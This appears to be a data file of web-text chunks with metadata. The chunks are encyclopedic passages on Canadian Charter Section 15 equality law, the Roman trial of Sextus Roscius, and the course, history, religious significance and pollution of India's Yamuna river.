recognized and the dignity analysis was jettisoned. the court mandated that the test is, as it was before, the one found in andrews v. law society of british columbia ( 1989 ) : ( 1 ) is there differential treatment on an analogous or enumerated ground? ( 2 ) does this ground cause prejudice or stereotyping? enumerated or analogous grounds the concept of enumerated or analogous grounds originated in the essential 1989 andrews case to refer to personal characteristics that, when being the basis of discrimination, show the discrimination is unconstitutional under section 15. there are nine enumerated grounds explicitly mentioned in section 15, although they are not actually numbered. in practice, the enumerated grounds have been given liberal and broad interpretations. for example, discrimination on the basis of pregnancy has been ruled to be sex discrimination ( brooks v. canada safeway ltd. ). as section 15 ' s words \" in particular \" hint that the explicitly named grounds do not exhaust the scope of section 15, additional grounds can be considered if it can be shown that the group or individual ' s equality rights were denied in comparison with another group that shares all of the same characteristics except for the personal characteristic at issue. a personal characteristic is considered analogous to the ones enumerated in section 15 if it is \" immutable \" or cannot be changed or can only be changed at excessive cost ( constructively immutable ). thus far, several analogous grounds", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.533557350409213, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.626356"} {"text": ". a personal characteristic is considered analogous to the ones enumerated in section 15 if it is \" immutable \" or cannot be changed or can only be changed at excessive cost ( constructively immutable ). thus far, several analogous grounds have been identified : - sexual orientation ( egan v. canada, vriend v. alberta, m. v. h. little sisters book and art emporium v. canada ) this finding has led provincial courts ( the supreme court declined in reference re same - sex marriage to rule on the issue as the government had voiced its intent to legalize them anyway ) to find that laws against same - sex marriage in canada would be unconstitutional. in halpern v. canada ( attorney general ) ( 2003 ), the court of appeal for ontario used section 15 to legalize same - sex marriage in ontario. - marital status ( miron v. trudel,, nova scotia v. walsh ), - off - reserve aboriginal status / \" aboriginality - residence \" ( corbiere v. canada ). - citizenship ( andrews v. law society of british columbia,, lavoie v. canada ) as well, the courts have rejected several analogous grounds including : - having a \" taste for marijuana \". ( r. v. malmo - levine ) - employment status ( reference re workers ' compensation act, delisle v. canada ) - litigants against the crown ( rudolph wolff v. canada ) - province of prosecution / residence ( r. v. turpin, r. v. s. ( s. ) ) - membership in military ( r. v. genereux ) - new resident of province ( haig v. canada ) - persons committing crimes outside canada ( r. v. finta ) - begging and extreme poverty ( r. v. banks ) past interpretations - the law test as first outlined in law v. canada, discrimination can be identified through a three - step test. - did the law, program, or activity impose differential treatment between the claimant and a comparator group? that is, was a distinction created between the groups in purpose or effect? - if so, was the differential treatment based on enumerated or analogous grounds? - if so, did the law in question have a purpose or effect that is discriminatory within the meaning of the equality guarantee? this step asks whether there is a formal distinction between the claimant and a comparator group based on one or more personal characteristics or else does it", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5325768756850446, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.627302"} {"text": "in question have a purpose or effect that is discriminatory within the meaning of the equality guarantee? this step asks whether there is a formal distinction between the claimant and a comparator group based on one or more personal characteristics or else does it fail to take into account the claimant ' s current disadvantaged position? the selection of the comparator group is integral. they must possess all the qualities of the claimant except for the personal characteristic at issue. ( corbiere v. canada 2 s. c. r. 203 ) in hodge v. canada ( minister of human resources development ) ( 2004 ), it was noted that a court may reject a claimant ' s choice for a comparator group, and that choosing the wrong comparator group may cause the rights claim to fail. in withler v. canada ( attorney general ) ( 2011 ), the supreme court has jettisoned the comparator group requirement, mandating that instead a contextual analysis is the way to go. they recognized that comparator group analysis was leading to much injustice, something also noted in r. v. kapp. for discrimination to be found it must be determined if the burden or denial of benefit harms an individual ' s human dignity ( law v. canada ). that is, the discrimination will marginalize, ignore, or devalue an individual ' s sense of self - respect and self - worth. law suggests four \" contextual factors \" which can help guide a contextual analysis of whether the imputed distinction violates the human dignity of the claimant. none of these are determinative of discrimination, and the court must not consider all of them in every case. this list is also not exhaustive, although the standard law analysis has yet to develop any additional factors : - pre - existing disadvantage - correlation between the grounds of the claim and the actual needs, capacities, and circumstances - ameliorative purpose or effect of the law on more disadvantaged groups - nature and scope of interest jurisprudence has shown that each of these factors are weighed differently depending on the context. pre - existing disadvantage asks whether there was a pre - existing disadvantage or vulnerability experienced by the claimant. in corbiere v. canada mclachlin described this factor to be the most compelling and suggestive of discrimination if proven. however, the absence of a pre - existing disadvantage does not necessarily preclude a claimant from succeeding as seen in trociuk v. british columbia. with correlation between grounds and reality", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5136754916087012, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.629628"} {"text": "the most compelling and suggestive of discrimination if proven. however, the absence of a pre - existing disadvantage does not necessarily preclude a claimant from succeeding as seen in trociuk v. british columbia. with correlation between grounds and reality, the claimant must show that there is a link between the grounds raise and the claimant ' s actual needs, circumstances, and capacities. discrimination will be more difficult to establish if the law takes the qualities of the claimant into account. in gosselin v. quebec ( attorney general ) the court was sharply divided on this point. the majority said that the law that provided less social assistance to youth was connected to the ability of youth to find employment easily. however, the dissenters insisted that the evidence did not show this to be actual qualities, but were rather stereotypes. the ameliorative purpose factor asks whether there is a distinction made for the purpose of aiding an even less advantaged group. if this can be shown then it is unlikely that the claimant would be able to show a violation of their dignity. however, lovelace v. ontario warned that the analysis should not be reduced to a balancing of relative disadvantages. the final factor of nature and scope considers the nature and scope of the interest affected by the law. the more severe and localized the results of the law for those affected the more likely to show that the distinctions in treatment responsible are discriminatory. to overcome this barrier, the federal government expanded the court challenges program of canada in 1985 to fund test cases challenging federal legislation in relation to the equality rights guaranteed by the charter. some funding has been provided to challenge provincial laws under a variety of programs in the past, but its availability has varied considerably from province to province. in september 2006, the federal government announced that it would be \" trimming the fat and refocusing spending on the priorities of canadians. \" this included cutting all funding to the court challenges program. - hogg, peter w. constitutional law of canada. 2003 student ed. ( scarborough, ontario : thomson canada limited, 2003 ), 1067. - hogg, pages 1062 - 3. - hogg, page 744. - hogg, pages 1066 - 1067. - court challenges program of canada - arne peltz & betsy gibbons, \" deep discount justice : the challenge of going to court with a charter claim and no money \", 1999. url accessed on march 10, 2006. - canada department of finance \" press release \", url", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49951921360309076, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.630937"} {"text": "sextus roscius ( fl. 1st century bc ), tried in rome for patricide in 80 bc, was defended successfully by the young cicero in his first major litigation. the defense involved some risk for cicero, since he accused lucius cornelius chrysogonus, a freedman of sulla, then dictator of rome, of corruption and involvement in the crime. caecilia the priestess | wikisource has original text related to this article : | before the trial, roscius was sheltered by caecilia, who appears to be caecilia metella balearica major, a former vestal virgin by this time ( since she had her own house ). this caecilia was a relative of sulla ' s wife caecilia metella dalmatica, and had powerful connections among the roman elite ; her intercession for the young julius caesar saved his life and political career. in 80 bc, the metelli were staunchly in sulla ' s camp. her brother was quintus caecilius metellus nepos, a former consul whose stepdaughter mucia tertia was now wife of pompey ; her cousins included quintus caecilius metellus numidicus pius, chief ally of sulla. her widowed brother - in - law was appius claudius pulcher, consul 79 bc as another ally of sulla. references in popular culture - the trial of sextus roscius is depicted in steven saylor ' s first roma sub rosa mystery novel, roman blood. - the trial is also depicted in colleen mccullough ' s novel fortune ' s favorites, part of her masters of rome series. - oration for sextus roscius of ameria \" caecilia, the sister of nepos, the daughter of balearicus \" | this ancient roman biographical article is a stub. you can help wikipedia by expanding it. |", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.35889069008709773, "token_count": 399, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.632631"} {"text": "| states | | uttarakhand, uttar pradesh, haryana | | - left | | tons, hindon, sharda, kunta, gir, rishiganga, hanuman ganga | | - right | | chambal, betwa, ken, sindh | | cities | | yamuna nagar, delhi, mathura, agra, etawah, kalpi | | - location | | banderpooch peaks, uttarkashi district, uttarakhand, india | | - elevation | | 3, 293 m ( 10, 804 ft ) | | - location | | allahabad, india | | - elevation | | 74 m ( 243 ft ) | | length | | 1, 376 km ( 855 mi ) | | basin | | 366, 223 km2 ( 141, 399 sq mi ) | the yamuna ( pron : \u02c8j\u028cm\u028an\u0259 ) ( sanskrit : \u092f\u092e\u0928\u093e ), sometimes called jamuna ( hindi : \u091c\u092e\u0928\u093e ) or jumna, is the largest tributary river of the ganges ( ganga ) in northern india. originating from the yamunotri glacier at a height of 6, 387 metres on the south western slopes of banderpooch peaks in the lower himalayas in uttarakhand, it travels a total length of 1, 376 kilometers ( 855 mi ) and has a drainage system of 366, 223 square kilometres ( 141, 399 sq mi ), 40. 2 % of the entire ganges basin, before merging with the ganges at triveni sangam, allahabad, the site for the kumbha mela every twelve years. it crosses several states, uttarakhand, haryana and uttar pradesh, passing by himachal pradesh and later delhi, and meets several of its tributaries on the way, including tons, its largest and longest tributary in uttarakhand, chambal, which has its own large basin, followed by sindh, the betwa, and ken. most importantly it creates the highly fertile alluvial, yamuna - ganges doab region between itself and the ganges in the indo - gangetic plain. nearly 57 million people depend on the yamuna waters. with an annual flow of about 10, 000 cubic billion metres ( cbm ) and usage of 4, 400 cbm ( of which irrigation constitutes 96 per cent ), the river accounts for more than 70 per cent of delhi \u2019 s water supplies.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41974545697088, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.652199"} {"text": "with an annual flow of about 10, 000 cubic billion metres ( cbm ) and usage of 4, 400 cbm ( of which irrigation constitutes 96 per cent ), the river accounts for more than 70 per cent of delhi \u2019 s water supplies. just like the ganges, the yamuna too is highly venerated in hinduism and worshipped as goddess yamuna, throughout its course. in hindu mythology, she is the daughter of sun god, surya, and sister of yama, the god of death, hence also known as yami and according to popular legends, bathing in its sacred waters frees one from the torments of death. the water of yamuna is of \" reasonably good quality \" through its length from yamunotri in the himalayas to wazirabad in delhi, about 375 km, where the discharge of waste water through 15 drains between wazirabad barrage and okhla barrage renders the river severely polluted after wazirabad in delhi. one official describes the river as a \" sewage drain \" with biochemical oxygen demand ( bod ) values ranging from 14 to 28 mg / l and high coliform content. there are three main sources of pollution in the river, namely households and municipal disposal sites, soil erosion resulting from deforestation occurring to make way for agriculture along with resulting chemical wash - off from fertilizers, herbicides, and pesticides and run - off from commercial activity and industrial sites. course and catchment the source of yamuna lies in the yamunotri glacier at a height 6, 387 metres, on the south western slopes of banderpooch peaks, which lie in the mussoorie range of lower himalayas, in the uttarkashi district, uttarakhand, north of haridwar. yamunotri temple, a shrine dedicated to the goddess, yamuna is one of the holiest shrines in hinduism, and part of the chota char dham yatra circuit. also standing close to the temple, on its 13 km trek route, that follows the right bank of the river, lies the markendeya tirtha, where the sage markandeya wrote the markandeya purana. from here it flows southwards, for about 200 km through the lower himalayas and the shivalik hills range and morainic deposited are found in its steep upper yamuna village, highlighted with geomorphic features such as interlocking spurs, steep rock benches, and stream terraces.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4557995564085904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.653101"} {"text": "for about 200 km through the lower himalayas and the shivalik hills range and morainic deposited are found in its steep upper yamuna village, highlighted with geomorphic features such as interlocking spurs, steep rock benches, and stream terraces. large terraces formed over a long period of time can be seen in the lower course of the river, like ones near naugoan. an important part of its early catchment area totalling 2, 320 square kilometres ( 900 sq mi ) lies in himachal pradesh, and an important tributary draining the upper catchment area is the tons, yamuna ' s largest and longest tributary, which rises from the hari - ki - dun valley and holds water more than the main stream, which it merges after kalsi near dehradun. the entire drainage system of the river stretches all the way between giri - sutlej catchment in himachal and yamuna - bhilangna catchment in garhwal, indeed the southern ridge of shimla is also drained into this system. kalanag ( 6, 387 metres ( 20, 955 ft ) ) is the highest point of the entire yamuna basin. other tributaries in the region are the giri, rishi ganga, kunta, hanuman ganga and bata tributaries, which drain the upper catchment area of the vast yamuna basin. thereafter the river descends on to the plains of doon valley, at dak pathar near dehradun. here through a weir dam, the water is diverted into a canal for power generation, little further down where yamuna is met by the assan river, lies the assan barrage, which hosts a bird sanctuary as well. after passing the sikh pilgrimage town of paonta sahib, it reaches tajewala in yamuna nagar district, of haryana, where a dam built in 1873, is the originating place of two important canals, the western yamuna canal and eastern yamuna canal, which irrigate the states of haryana and uttar pradesh. the western yamuna canal ( wyc ) crosses yamuna nagar, karnal and panipat before reaching the haiderpur treatment plant, which supplies part of municipal water supply to delhi, further it also receives waste water from yamuna nagar and panipat cities. yamuna is replenished again after this by seasonal streams and groundwater accrual, in fact during the dry season, it remains dry in many stretches from tajewala", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4056229545372737, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.653979"} {"text": "receives waste water from yamuna nagar and panipat cities. yamuna is replenished again after this by seasonal streams and groundwater accrual, in fact during the dry season, it remains dry in many stretches from tajewala till delhi, where it enters near palla village after traversing 224 kilometres ( 139 mi ). the yamuna also creates natural state borders between the himachal pradesh and uttarakhand states, and further down between the state of haryana and uttar pradesh. along with the ganges to which run almost parallel after it touches the indo - gangetic plain, the largest alluvial fertile plain in the world, it creates the ganges - yamuna doab region spread across 69, 000 square kilometres ( 27, 000 sq mi ), one - third of the entire plain, and today known for its agricultural outputs, prominent among them is the cultivation of basmati rice. the plain itself supports one - third of india ' s population through its farming. | state | | catchment area ( km2 ) | | % of catchment area | | uttar pradesh and uttarakhand | | 74, 208 | | 21. 5 % | subsequently, it flows through the states of delhi, haryana and uttar pradesh, before merging with the ganges at a sacred spot known as triveni sangam in allahabad after traversing a distance of 1, 376 kilometers ( 855 mi ). here pilgrims travel by boats to platforms erected mid stream to offer prayers. during the kumbh mela, held every 12 years, the ghats around the sangam are venue of large congregation of people, who take dip in the sacred waters of the confluence. the cities of baghpat, delhi, noida, mathura, agra, firozabad, etawah, kalpi, hamirpur, allahabad lie on its banks. at etawah, it meets it another important tributary, chambal, followed by a host of tributaries further down, including, sindh, the betwa, and ken. ancient literature and history literally meaning \" twins \" in sanskrit, as it runs parallel to the ganges, its name is mentioned at many places in the rig veda, written during the vedic period ca between 1700 \u2013 1100 bc, and also in the later atharvaveda, and the brahmanas including aitareya brahmana and shatapatha brahmana. in rig veda, the story of the yamuna", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.414319604576875, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.654826"} {"text": "between 1700 \u2013 1100 bc, and also in the later atharvaveda, and the brahmanas including aitareya brahmana and shatapatha brahmana. in rig veda, the story of the yamuna describes her \" excessive love \" for her twin, yama, who in turn asks her to find a suitable match for herself, which she does in krishna. the tale is further detailed in the 16th century sanskrit hymn, yamunashtakam, an ode by philosopher vallabhacharya. here the story of descent to meet her beloved krishna and to purify the world has been put in verse. the hymn also he praises her for being the source of all spiritual abilities, while the ganges is considered an epitome of asceticism and higher knowledge and can grant us moksha or liberation, it is yamuna, who being a holder of infinite love and compassion, can grant us freedom from even death, the realm of her elder brother. she rushes down the kalinda mountain, and verily describes her as the daughter of kalinda, giving her another name, kalindi, the backdrop of krishna leela. the text also talk about her water being of the colour of lord krishna, which is dark ( shyam ). it is mention as iomanes ( ioames ) in the surveys of seleucus i nicator, an officer of alexander the great and one of the diadochi, who visited india in 305 bc, later megasthenes, a greek traveller and geographer, visited india, sometimes before 288 bc, the date of chandragupta ' s death, also mention the river in his text indica, where he described the region around it as the land of surasena. in mahabharata, indraprastha, the capital of pandavas was also situated on the banks of yamuna, it is considered to the modern day city of delhi. there is evidence indicating yamuna was a tributary of the ghaggar river, also known as the vedic sarasvati river in the ancient past and the rivers were collectively known as sapta sindhu or seven streams. it changed its course to east following a tectonic event in north india and became a tributary of the ganges instead. as the it is believed that the sarasvati river dried and it also meant the end of many indus valley civilization settlements, and creation of the thar desert, the ghaggar", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45189901902690466, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.655683"} {"text": "north india and became a tributary of the ganges instead. as the it is believed that the sarasvati river dried and it also meant the end of many indus valley civilization settlements, and creation of the thar desert, the ghaggar - hakra river now flows only during the monsoon season. the importance of the ganges \u2013 yamuna river basin, and the doab region as traditional the seat of power, can be derived from the fact, in much of early history of india, most of great empires, which ruled over majority of india, until the chalukyas king, vinayaditya, were based in the highly fertile ganges \u2013 yamuna basin, including the magadha ( ca 600 bc ), maurya empire ( 321 \u2013 185 bc ), sunga empire ( 185 \u2013 73 bce ), kushan empire ( 1st \u2013 3rd centuries ce ), gupta empire ( 280 \u2013 550 ce ), and many had their capitals here, in cities like pataliputra or mathura. these rivers were revered throughout these kingdoms that flourished on their banks, in fact ever since the period of chandragupta ii ( r. 375 \u2013 415 ce ), statues both the ganges and yamuna became common throughout the gupta empire. further to the south, images of the ganges and yamuna are found amidst shrines of the chalukyas, rashtrakutas ( 753 \u2013 982 ), as well as on their royal seals, and prior to them, the chola empire too added the river into their architectural motifs. the three river goddess shrine, next of famous kailash rock - cut temple at ellora, built by rashtrakuta king, govinda iii, shows the ganges flanked by the yamuna and saraswati. the goddess of the river, also known as yami, is the sister of yama, god of death, and the daughter of surya, the sun god, and his wife saranyu. yamuna, referred to respectfully as yamunaji, holds a very important position in pushti marga, a sect of hinduism based on the shuddhadvaita, in which shri krsna is the main deity, propagated by vallabhacharya / mahaprabhuji, and having a large following in india. the river yamuna is also connected to the religious beliefs surrounding krishna and various stories connected with him are found in hindu religious texts, especially", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4178725016155907, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.656663"} {"text": "in vrindavana five thousand years ago. lord krishna sported daily with his boys and girlfriends in the yamuna river and consequently that river is also caranamrita. \" ( srimad bhagavatam 11. 6. 19 ) - \" according to the varaha purana as quoted by srila jiva gosvami there is no difference between the water of the ganges and the yamuna but when the water of the ganges is sanctified one hundred times, it is called the yamuna. similarly, it is said in the scriptures that one thousand names of vishnu are equal to one name of rama and three names of lord rama are equal to one name of krishna. \" ( srimad bhagavatam 1. 19. 6 purport ) - tons river, yamuna ' s largest and longest tributary, rises in the 20, 720 ft ( 6, 315 m ) high bandarpoonch mountain, and has a large basin in himachal pradesh. it meets yamuna below kalsi near dehradun, uttarakhand. - hindon river, originates in the saharanpur district, from upper shivalik in lower himalayan range, is entirely rainfed and has a catchment area of 7, 083 km2, traverses 400 km through muzaffarnagar district, meerut district, baghpat district, ghaziabad, noida, greater noida, before joining yamuna just outside delhi. - ken river, flows through bundelkhand region of madhya pradesh and uttar pradesh, it originates near village ahirgawan in jabalpur district and travels a distance of 427 km, before merging with the yamuna at chilla village, near fatehpur in uttar pradesh, and has an overall drainage basin of 28, 058 km2. - chambal river, known as charmanvati in ancient times, flows through rajasthan and madhya pradesh, with a drainage basin of 143, 219 km2 and traverses a total distance of 960 km, from its source in vindhya range, near mhow and support hydro - power generation at gandhi sagar dam, rana pratap sagar dam and jawahar sagar dam, before merging into the yamuna south east f sohan goan, in etawah district, shortly theerafter followed by another tributary, the sindh river. the importance of yamuna in the indo - gangetic plains is enhanced by its many", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4381855302755521, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.658472"} {"text": "into the yamuna south east f sohan goan, in etawah district, shortly theerafter followed by another tributary, the sindh river. the importance of yamuna in the indo - gangetic plains is enhanced by its many canals, some dating back to as early as 14th century ce by the tughlaq dynasty, which built the nahr - i - bahisht ( paradise ), parallel to the river. the nahr - i - bahisht was later restored and extended by the mughals in the first half of the seventeenth century, by engineer ali mardan khan, starting from benawas where the river enters the plains and terminating near the mughal capital, shahjahanabad, the present city of delhi. as the yamuna enters the northern plains near dakpathar at a height of 790 meters, the eastern yamuna canal commences at the dakpathar barrage and pauses at the asan and hathnikund barrages before continuing south. the hathnikund was built in 1999 and replaced the downstream tajewala barrage which had been completed in 1873. the western yamuna canal begins at the hathnikund barrage about 38 kilometers from dakpathar and south of doon valley. the canals irrigate vast tracts of land in the region. once its passes delhi, the river feeds the agra canal built in 1874, which starts from okhla barrage beyond the nizamuddin bridge, and the high land between the khari - nadi and the yamuna and before joining the banganga river about 20 miles below agra. thus, during the summer season, the stretch above agra resembles a minor stream. the sutlej - yamuna link a heavy freight canal, known as the sutlej - yamuna link ( syl ), is being built westwards from near the yamuna ' s headwaters through the punjab region near an ancient caravan route and highlands pass to the navigable parts of the sutlej - indus watershed. this will connect the entire ganges, which flows to the east coast of the subcontinent, with points west ( via pakistan ). when completed, the syl will allow shipping from india ' s east coast to the west coast and the arabian sea, drastically shortening shipping distances and creating important commercial links for north - central india ' s large population. the canal starts near palla village near delhi, and is designed to transfer haryana ' s share of 3, 500, 000 acre feet", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4069981539733448, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.659363"} {"text": "arabian sea, drastically shortening shipping distances and creating important commercial links for north - central india ' s large population. the canal starts near palla village near delhi, and is designed to transfer haryana ' s share of 3, 500, 000 acre feet ( 4. 3 km3 ) from the indus basin. though the state of haryana has completed its portion, punjab is against its construction, and the state legislature passed the \" punjab termination of agreement act 2004 \", which declared earlier agreements null and void. the stretch of the river from its origin to okhla in delhi is called \u201c upper yamuna \u201d. a memorandum of understanding ( mou ) was signed amongst the five basin states, namely himachal pradesh, uttar pradesh, uttarakhand, haryana, rajasthan and delhi, on 12 may 1994 for sharing of the water of upper yamuna. this led to the formation of upper yamuna river board under ministry of water resources, whose primary functions are regulation of the allocation of available flows amongst the beneficiary states and also for monitoring the return flows ; monitoring conserving and upgrading the quality of surface and ground tatti ; maintaining hydro - meteorological data for the basin ; over viewing plans for watershed management ; monitoring and reviewing the progress of all projects up to and including okhla barrage. flood forecasting systems are established at poanta sahib, where tons, pawar and giri tributaries meet, followed by tajewala, kalanaur, haryana and mawai before delhi, the river take 60 hours to travel from tajewala to delhi, thus allowing a two - day advance flood warning period. the central water commission started flood - forecasting services in 1958 with the setting up of its first forecasting station on yamuna at delhi railway bridge. geography and wildlife the catchment area of the river, especially till its touches the plains, is replete with alpine, semi alpine, temperate and sub - tropical vegetation, and vast areas are under forest cover, and supports extensive animal life. yamuna is the frontier of the asian elephant. west of the yamuna, there are no elephants to be found over 900 km of the western himalayas and their foothills. the forests of the lower yamuna offer ideal corridors for elephant movement. the principal forests to be found here are of sal, khair ( acacia ), and sissoo ( rosewood ) trees, and the chir pine forests of the shivalik hills. in 1909 the waters of the yamuna were distinguishable as \" clear blue", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4191340886600734, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.660300"} {"text": "be found here are of sal, khair ( acacia ), and sissoo ( rosewood ) trees, and the chir pine forests of the shivalik hills. in 1909 the waters of the yamuna were distinguishable as \" clear blue \", as compared to the silt - laden yellow of the ganges. however, due to high density population growth and rapid industrialization today yamuna is one of the most polluted rivers in the world, especially around new delhi, the capital of india, which dumps about 58 % of its waste into the river. causes of pollution. new delhi generates 1, 900 million litre per day ( mld ) of sewage. though numerous attempts have been made to process it, the efforts have proven to be futile. although the government of india has spent nearly $ 500 million to clean up the river, the yamuna continues to be polluted with garbage while most sewage treatment facilities are underfunded or malfunctioning. in addition, the water in this river remains stagnant for almost nine months in a year, aggravating the situation. delhi alone contributes around 3, 296 mld of sewage in the river. the government of india over the next five years has prepared plans to rebuild and repair the sewage system and the drains that empty into the river. to address river pollution, certain measures of river cleaning have been taken by the government ' s ministry of environment and forests in twelve towns of haryana, eight towns of uttar pradesh, and delhi, under the yamuna action plan ( yap ) which has been implemented since 1993 by the national river conservation directorate ( nrcd ) of the ministry of environment and forests. the japan bank for international cooperation is participating in the yamuna action plan in 15 of the above 21 towns ( excluding 6 towns of haryana included later on the direction of supreme court of india ) with soft loan assistance of 17. 773 billion japanese yen ( equivalent to about rs. 700 crore inr ) while the government of india is providing the funds for the remaining 6 towns added later. in 2007 the indian government ' s plans to repair sewage lines were predicted to improve the water quality of the river 90 % by the year 2010. however in 2009, the union government admitted to the lok sabha ( indian parliament ), the failure of the ganga action plan ( gap ) and the yamuna action plan ( yap ), saying that \" rivers ganga and yamuna are no cleaner now than two decades ago \" despite spending over rs 1,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45821022166935876, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.661270"} {"text": "indian parliament ), the failure of the ganga action plan ( gap ) and the yamuna action plan ( yap ), saying that \" rivers ganga and yamuna are no cleaner now than two decades ago \" despite spending over rs 1, 700 crore to control pollution. according to a cse official, these plans adopted the thames model, based on a centralized sewage treatment system. this meant that huge sum of money and a 24 - hr power supply were needed to manage the treatment plants, while only an 8 - hr power supply was available, contributing to the failure of both river plans. in august 2009, the delhi jal board ( djb ) initiated its plan for resuscitating the yamuna \u2019 s 22 km stretch in delhi by constructing interceptor sewers, at the cost of about rs 1, 800 crore. in popular culture in 2005, the award winning documentary jijivisha was made on yamuna. - fraser, james baillie ( 1820 ). journal of a tour through part of the snowy range of the himala mountains, and to the sources of the rivers jumna and ganges. rodwell and martin, london. - haberman, david l. ( 2006 ). river of love in an age of pollution : the yamuna river of northern india. university of california press. isbn 0 - 520 - 24790 - 6. - schumann, a. h. ( 2001 ). sustainable regional water management of yamuna river basin : a case study. international association of hydrological sciences ( iahs ). pp. 25 \u2013 32. isbn 1 - 901502 - 51 - 1. - jain, sharad k. ; pushpendra k. agarwal, vijay p. singh ( 2007 ). hydrology and water resources of india - volume 57 of water science and technology library. springer. pp. 344 \u2013 354. isbn 1 - 4020 - 5179 - 4. - hoiberg, dale ( 2000 ). students ' britannica india, volumes 1 - 5. popular prakashan. pp. 290 \u2013 291. isbn 0 - 85229 - 760 - 2. - \" ' ganga is the most polluted river ' \". the hindu. nov 23, 2003. - yamunotri temple uttarkashi district website. - nand, nitya ; kamlesh kumar ( 1989 ). the holy himalaya : a geographical interpretation of garhwal - yamuna drainage system. daya books", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4419285056504812, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.664876"} {"text": "- yamunotri temple uttarkashi district website. - nand, nitya ; kamlesh kumar ( 1989 ). the holy himalaya : a geographical interpretation of garhwal - yamuna drainage system. daya books. p. 49. isbn 81 - 7035 - 055 - 7. - general outline of rivers in himachal @ webindia123 - sharma, deo prakash ( 2006 ). archaeology of lower ganga - yamuna doab ( circa 1200 b. c. to 1200 a. d. ). bharatiya kala prakashan. pp. 10, 214. isbn 81 - 8090 - 033 - 9. \" \" doab is a persian word, from do - ab, literally meaning ' two rivers ', or land between two rivers \". \" - at the three rivers time, february 23, 1948. - state of river yamuna - macdonell, arthur anthony ; arthur berriedale keith ( 1995 ). vedic index of names and subjects ( volume 2 ). motilal banarsidass. p. 186. isbn 81 - 208 - 1333 - 2. - shiva, vandana ( 2006 ). earth democracy : justice, sustainability and peace - g - reference, information and interdisciplinary subjects series. zed books. pp. 172 \u2013 173. isbn 1 - 84277 - 777 - 7. - chamberlain, gary ( 2008 ). troubled waters : religion, ethics, and the global water crisis. rowman & littlefield. p. 18. isbn 0 - 7425 - 5245 - 4. - dahlaquist, allan ( 1996 ). megasthenes and indian religion - volume 11 of history and culture series. motilal banarsidass publ. p. 386. isbn 81 - 208 - 1323 - 5. - ghosh, a. ( 1991 ). encyclopedia of indian archaeology. brill. p. 214. isbn 90 - 04 - 09264 - 1. - feuerstein, georg ; subhash kak, david frawley ( 2001 ). in search of the cradle of civilization. quest books. p. 89. isbn 0 - 8356 - 0741 - 0. - frawley, david ( 2000 ). gods, sages and kings : vedic secrets of ancient civilization. lotus press. p. 95. isbn 0 - 910261 - 37 - 7. - davis, richard h. ( 1999 ). lives of indian images", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4639256845279228, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.666284"} {"text": "david ( 2000 ). gods, sages and kings : vedic secrets of ancient civilization. lotus press. p. 95. isbn 0 - 910261 - 37 - 7. - davis, richard h. ( 1999 ). lives of indian images. princeton university press. pp. 74 \u2013 76. isbn 0 - 691 - 00520 - 6. - bhagavata purana 8. 13. 9 - dimmitt, cornelia ( 